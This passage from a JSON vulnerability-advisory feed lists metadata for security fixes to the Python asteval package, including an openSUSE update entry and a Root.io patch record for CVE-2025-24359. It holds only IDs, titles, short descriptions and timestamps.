* Merge branch 'nested_interrupts_returns'\n- Drop hard numpy requirement, don't test on python36\n\n- update to 0.9.18\n  * drop python2\n  * few fixes\n","status":"published","published":"2025-02-03T19:01:08Z","modified":"2026-02-04T02:37:09.957418Z","updated_at":"2026-11-02T16:58:36.976155Z"},{"id":"openSUSE-SU-2025:14701-1","title":"python311-asteval-1.0.6-1.1 on GA media","description":"These are all security issues fixed in the python311-asteval-1.0.6-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-01-27T00:00:00Z","modified":"2026-02-04T02:44:12.646141Z","updated_at":"2026-11-02T16:58:36.976155Z"},{"id":"ROOT-APP-PYPI-CVE-2025-24359","title":"CVE-2025-24359 in rootio-asteval - Patched by Root","description":"Root has patched CVE-2025-24359 in the rootio-asteval package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-06-03T14:48:49Z","modified":"2026-06-03T19:30:15.421082717Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}
